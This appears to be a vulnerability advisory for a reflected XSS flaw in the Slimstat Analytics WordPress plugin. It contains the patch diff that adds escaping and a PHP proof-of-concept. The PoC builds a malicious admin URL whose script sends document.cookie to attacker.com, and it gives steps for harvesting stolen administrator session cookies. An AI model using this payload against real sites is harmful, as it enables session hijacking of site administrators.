CVE-2025-69323: Slimstat Analytics <= 5.3.2 – Reflected Cross-Site Scripting (wp-slimstat)

--- a/wp-slimstat/admin/view/index.php
+++ b/wp-slimstat/admin/view/index.php
@@ -9,7 +9,7 @@

 <div class="backdrop-container">
     <div class="wrap slimstat">
-        <h2><?php echo wp_slimstat_admin::$screens_info[$_GET['page']]['title'] ?></h2>
+        <h2><?php echo isset($_GET['page']) && isset(wp_slimstat_admin::$screens_info[sanitize_key($_GET['page'])]) ? esc_html(wp_slimstat_admin::$screens_info[sanitize_key($_GET['page'])]['title']) : '' ?></h2>

         <div class="notice slimstat-notice slimstat-tooltip-content" style="background-color:#ffa;border:0;padding:10px"><?php _e('<strong>AdBlock browser extension detected</strong> - If you see this notice, it means that your browser is not loading our stylesheet and/or Javascript files correctly. This could be caused by an overzealous ad blocker feature enabled in your browser (AdBlock Plus and friends). <a href="https://wp-slimstat.com/resources/the-reports-are-not-being-rendered-correctly-or-buttons-do-not-work" target="_blank">Please make sure to add an exception</a> to your configuration and allow the browser to load these assets.', 'wp-slimstat'); ?></div>

--- a/wp-slimstat/admin/view/right-now.php
+++ b/wp-slimstat/admin/view/right-now.php
@@ -251,7 +251,8 @@
     // Pageview Notes
     $notes = '';
     if (is_admin() && !empty($results[$i]['notes'])) {
-        $notes = str_replace(['][', ':', '[', ']'], ['<br/>', ': ', '', ''], $results[$i]['notes']);
+        $notes = esc_html($results[$i]['notes']);
+        $notes = str_replace(['][', ':', '[', ']'], ['<br/>', ': ', '', ''], $notes);
         $notes = sprintf("<i class='slimstat-font-edit slimstat-tooltip-trigger'><b class='slimstat-tooltip-content'>%s</b></i>", $notes);
     }

@@ -264,15 +265,15 @@
     if (!$is_dashboard) {
         $domain                      = parse_url($results[$i]['referer'] ?: '');
         $domain                      = empty($domain['host']) ? __('Invalid Referrer', 'wp-slimstat') : $domain['host'];
-        $results[$i]['referer']      = (!empty($results[$i]['referer']) && empty($results[$i]['searchterms'])) ? "<a class='spaced slimstat-font-login slimstat-tooltip-trigger' target='_blank' title='" . htmlentities(__('Open this referrer in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf("' href='%s'></a> %s", $results[$i]['referer'], $domain) : '';
-        $results[$i]['content_type'] = empty($results[$i]['content_type']) ? '' : "<i class='spaced slimstat-font-doc slimstat-tooltip-trigger' title='" . __('Content Type', 'wp-slimstat') . "'></i> <a class='slimstat-filter-link' href='" . wp_slimstat_reports::fs_url('content_type equals ' . $results[$i]['content_type']) . sprintf("'>%s</a> ", $results[$i]['content_type']);
+        $results[$i]['referer']      = (!empty($results[$i]['referer']) && empty($results[$i]['searchterms'])) ? "<a class='spaced slimstat-font-login slimstat-tooltip-trigger' target='_blank' title='" . htmlentities(__('Open this referrer in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf("' href='%s'></a> %s", esc_url($results[$i]['referer']), esc_html($domain)) : '';
+        $results[$i]['content_type'] = empty($results[$i]['content_type']) ? '' : "<i class='spaced slimstat-font-doc slimstat-tooltip-trigger' title='" . __('Content Type', 'wp-slimstat') . "'></i> <a class='slimstat-filter-link' href='" . wp_slimstat_reports::fs_url('content_type equals ' . $results[$i]['content_type']) . sprintf("'>%s</a> ", esc_html($results[$i]['content_type']));

         // The Outbound Links field might contain more than one link
         if (!empty($results[$i]['outbound_resource'])) {
             if ('#' !== substr($results[$i]['outbound_resource'], 0, 1)) {
-                $results[$i]['outbound_resource'] = "<a class='inline-icon spaced slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='" . htmlentities(__('Open this outbound link in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf("' href='%s'></a> %s", $results[ $i ][ 'outbound_resource' ], $results[ $i ][ 'outbound_resource' ]);
+                $results[$i]['outbound_resource'] = "<a class='inline-icon spaced slimstat-font-logout slimstat-tooltip-trigger' target='_blank' title='" . htmlentities(__('Open this outbound link in a new window', 'wp-slimstat'), ENT_QUOTES, 'UTF-8') . sprintf("' href='%s'></a> %s", esc_url($results[ $i ][ 'outbound_resource' ]), esc_html($results[ $i ][ 'outbound_resource' ]));
             } else {
-                $results[$i]['outbound_resource'] = "<i class='inline-icon spaced slimstat-font-logout'></i> " . $results[ $i ][ 'outbound_resource' ];
+                $results[$i]['outbound_resource'] = "<i class='inline-icon spaced slimstat-font-logout'></i> " . esc_html($results[ $i ][ 'outbound_resource' ]);
             }
         } else {
             $results[$i]['outbound_resource'] = '';
@@ -291,7 +292,7 @@
                     continue;
                 }

-                $login_logout .= "<i class='slimstat-font-user-plus spaced slimstat-tooltip-trigger' title='" . __('User Logged In', 'wp-slimstat') . "'></i> " . str_replace('loggedin:', '', $a_note);
+                $login_logout .= "<i class='slimstat-font-user-plus spaced slimstat-tooltip-trigger' title='" . __('User Logged In', 'wp-slimstat') . "'></i> " . esc_html(str_replace('loggedin:', '', $a_note));
             }
         }

@@ -302,7 +303,7 @@
                     continue;
                 }

-                $login_logout .= "<i class='slimstat-font-user-times spaced slimstat-tooltip-trigger' title='" . __('User Logged Out', 'wp-slimstat') . "'></i> " . str_replace('loggedout:', '', $a_note);
+                $login_logout .= "<i class='slimstat-font-user-times spaced slimstat-tooltip-trigger' title='" . __('User Logged Out', 'wp-slimstat') . "'></i> " . esc_html(str_replace('loggedout:', '', $a_note));
             }
         }
     } else {
--- a/wp-slimstat/admin/view/wp-slimstat-db.php
+++ b/wp-slimstat/admin/view/wp-slimstat-db.php
@@ -145,7 +145,7 @@

         // Fields and drop downs
         if (!empty($_POST['f']) && !empty($_POST['o'])) {
-            $filters_array[htmlspecialchars($_POST['f'])] = sprintf('%s %s ', $_POST[ 'f' ], $_POST[ 'o' ]) . ($_POST['v'] ?? '');
+            $filters_array[sanitize_text_field($_POST['f'])] = sprintf('%s %s ', sanitize_text_field($_POST[ 'f' ]), sanitize_text_field($_POST[ 'o' ])) . (isset($_POST['v']) ? sanitize_text_field($_POST['v']) : '');
         }

         // Filters set via the plugin options
--- a/wp-slimstat/admin/view/wp-slimstat-reports.php
+++ b/wp-slimstat/admin/view/wp-slimstat-reports.php
@@ -1237,6 +1237,10 @@
                         $element_value = str_replace(['<', '>'], ['<', '>'], urldecode($results[$i][$_args['columns']]));
                         break;

+                    case 'outbound_resource':
+                        $element_value = esc_html($results[$i][$_args['columns']]);
+                        break;
+
                     case 'resource':
                         $resource_title = self::get_resource_title($results[$i][$_args['columns']]);
                         if ($resource_title != $results[$i][$_args['columns']]) {
@@ -1793,11 +1797,11 @@
         parse_str($_referer, $query_parse_str);

         if (isset($query_parse_str['source']) && ([] !== $query_parse_str['source'] && ('' !== $query_parse_str['source'] && '0' !== $query_parse_str['source'])) && !$_serp_only) {
-            $query_details = __('src', 'wp-slimstat') . (': ' . $query_parse_str[ 'source' ]);
+            $query_details = __('src', 'wp-slimstat') . (': ' . esc_html($query_parse_str[ 'source' ]));
         }

         if (isset($query_parse_str['cd']) && ('' !== $query_parse_str['cd'] && '0' !== $query_parse_str['cd'] && [] !== $query_parse_str['cd'])) {
-            $query_details = __('serp', 'wp-slimstat') . (': ' . $query_parse_str[ 'cd' ]);
+            $query_details = __('serp', 'wp-slimstat') . (': ' . esc_html($query_parse_str[ 'cd' ]));
         }

         if ('' !== $query_details && '0' !== $query_details) {
--- a/wp-slimstat/vendor/composer/autoload_static.php
+++ b/wp-slimstat/vendor/composer/autoload_static.php
@@ -12,14 +12,14 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'S' =>
+        'S' =>
         array (
             'SlimStat\' => 9,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'SlimStat\' =>
+        'SlimStat\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
--- a/wp-slimstat/wp-slimstat.php
+++ b/wp-slimstat/wp-slimstat.php
@@ -3,7 +3,7 @@
  * Plugin Name: SlimStat Analytics
  * Plugin URI: https://wp-slimstat.com/
  * Description: The leading web analytics plugin for WordPress
- * Version: 5.3.2
+ * Version: 5.3.3
  * Author: Jason Crouse, VeronaLabs
  * Text Domain: wp-slimstat
  * Domain Path: /languages
@@ -24,7 +24,7 @@
 }

 // Set the plugin version and directory
-define('SLIMSTAT_ANALYTICS_VERSION', '5.3.2');
+define('SLIMSTAT_ANALYTICS_VERSION', '5.3.3');
 define('SLIMSTAT_FILE', __FILE__);
 define('SLIMSTAT_DIR', __DIR__);
 define('SLIMSTAT_URL', plugins_url('', __FILE__));
@@ -276,7 +276,7 @@
                         $id = self::slimtrack();
                     } // .. or outbound link? If so, update the pageview with the new info
                     elseif ($parsed_resource['host'] != $site_host) {
-                        self::$stat['outbound_resource'] = $resource;
+                        self::$stat['outbound_resource'] = sanitize_url($resource);

                         // Visitor is still on this page, record the timestamp in the corresponding field
                         self::$stat['dt_out'] = self::date_i18n('U');

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69323 - Slimstat Analytics <= 5.3.2 - Reflected Cross-Site Scripting
<?php
/**
 * Proof of Concept for CVE-2025-69323
 * Targets the 'page' parameter reflected XSS vulnerability in Slimstat Analytics admin interface
 * Requires an authenticated administrator to click the generated malicious link
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php';

// Malicious JavaScript payload to demonstrate XSS
// This payload creates a visible alert and attempts to steal the administrator's cookies
$payload = rawurlencode("<script>alert('XSS via CVE-2025-69323');document.location='http://attacker.com/steal?c='+encodeURIComponent(document.cookie);</script>");

// Construct the malicious URL targeting the Slimstat Analytics admin page
// The 'page' parameter must match a valid Slimstat screen for the code path to execute
$malicious_url = $target_url . '?page=slimstat&slimstat[page]=' . $payload;

echo "Atomic Edge CVE-2025-69323 Proof of Conceptn";
echo "============================================nn";
echo "Target URL: $target_urln";
echo "Vulnerable Parameter: 'page' GET parametern";
echo "Vulnerable File: /wp-slimstat/admin/view/index.phpn";
echo "nGenerated Malicious URL:n";
echo "$malicious_urlnn";
echo "Exploitation Instructions:n";
echo "1. Ensure the target site runs Slimstat Analytics <= 5.3.2n";
echo "2. An authenticated WordPress administrator must click the above URLn";
echo "3. The JavaScript payload will execute in the administrator's browsern";
echo "4. Check attacker server logs for stolen session cookiesnn";

// Optional: Use cURL to verify the endpoint is accessible
// This does NOT trigger the XSS as it doesn't execute JavaScript
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '?page=slimstat');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 || $http_code == 302) {
    echo "[+] Target admin endpoint appears accessible (HTTP $http_code)n";
} else {
    echo "[-] Target admin endpoint may not be accessible (HTTP $http_code)n";
}
?>